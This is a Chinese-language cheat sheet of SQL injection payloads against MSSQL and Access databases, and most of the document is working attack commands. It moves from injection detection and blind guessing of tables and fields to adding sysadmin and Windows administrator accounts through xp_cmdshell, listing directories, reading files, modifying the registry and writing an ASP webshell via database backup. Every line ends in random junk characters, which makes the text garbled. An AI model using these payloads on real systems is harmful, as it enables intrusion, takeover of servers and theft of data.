1.判断是否有注入;and 1=1 ;and 1=2 FFzH!=7T?
2.初步判断是否是mssql ;and user>0 i_l+:/+G+
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3.注入参数是字符'and [查询条件] and ''=' Ade}g'
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' IZNOWX|Z;
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5.判断数据库系统 Tr .hmG U
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;and (select count(*) from sysobjects)>0 mssql Y25uU%6t_
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;and (select count(*) from msysobjects)>0 access :zp`6l
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 IeTdN_8
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 vsMmCd)7U
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 r88"#C6E'
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9.(1)猜字段的ascii值(access) 6STp>@Ch]"
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 >l5u54^3K
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(2)猜字段的ascii值(mssql) A lwtmDa
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 HW 6.O|3
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10.测试权限结构(mssql) mP^SS
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- MXZ>"G
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- w{,4rk;Hr
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 2F+gF~znQ
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- -$-8W
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ?6N3tk-2
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;and 1=(select IS_MEMBER('db_owner'));-- E4oz|2!m
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11.添加mssql和系统的帐户 eV!L^>>>
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;exec master.dbo.sp_addlogin username;-- gS9>N/b|
;exec master.dbo.sp_password null,username,password;-- cy3Td28,
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- {=Q7m`1
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;exec master.dbo.xp_cmdshell 'net user username password tw K^I6@
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- l|"6yB |
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- E3l*8F%<3
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- `'4)q}bB
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12.(1)遍历目录 4{na+M
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;create table dirs(paths varchar(100), id int) L36Yx7gT<
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;insert dirs exec master.dbo.xp_dirtree 'c:\' c z'5iK
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;and (select top 1 paths from dirs)>0 3=.Y,ENM;
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) .2:\:H~3
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(2)遍历目录 C"pB"^0
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- JAb6 zpP
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 9";sMB}W*
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 Y%`SHe7M
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 m@G i6
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 e{w>%)rcP
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13.mssql中的存储过程 z%d#@w0X1
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xp_regenumvalues 注册表根键, 子键 .K8w8X/3
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 ixfdO\nU
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xp_regread 根键,子键,键值名 epD?K
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;exec xp_regread l$Gl'R>>*
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 M!m?#xz'c
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xp_regwrite 根键,子键, 值名, 值类型, 值 7
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 $hrIO+
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 wD\ZOn_J
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xp_regdeletevalue 根键,子键,值名
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 X*eW#|$\
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 /#LW"4;*
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14.mssql的backup创建webshell )Di \_/G
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use model \[:/CxP
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create table cmd(str image); QfjN"25_
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insert into cmd(str) values (''); i{c@S:&@^
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backup database model to disk='c:\l.asp'; +/{L#e>
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15.mssql内置函数 bO5k6i
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;and (select @@version)>0 获得Windows的版本号 )~)*=u/
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa tiPa6tQ
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;and (select user_name())>0 爆当前系统的连接用户 ow'Vz
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;and (select db_name())>0 得到当前连接的数据库 0C%W&;r0
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16.简洁的webshell Bf`9V713
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create table cmd(str image); VhGs/5
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insert into cmd(str) values (''); +k<w!B*
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backup database model to disk='g:\wwwtest\l.asp';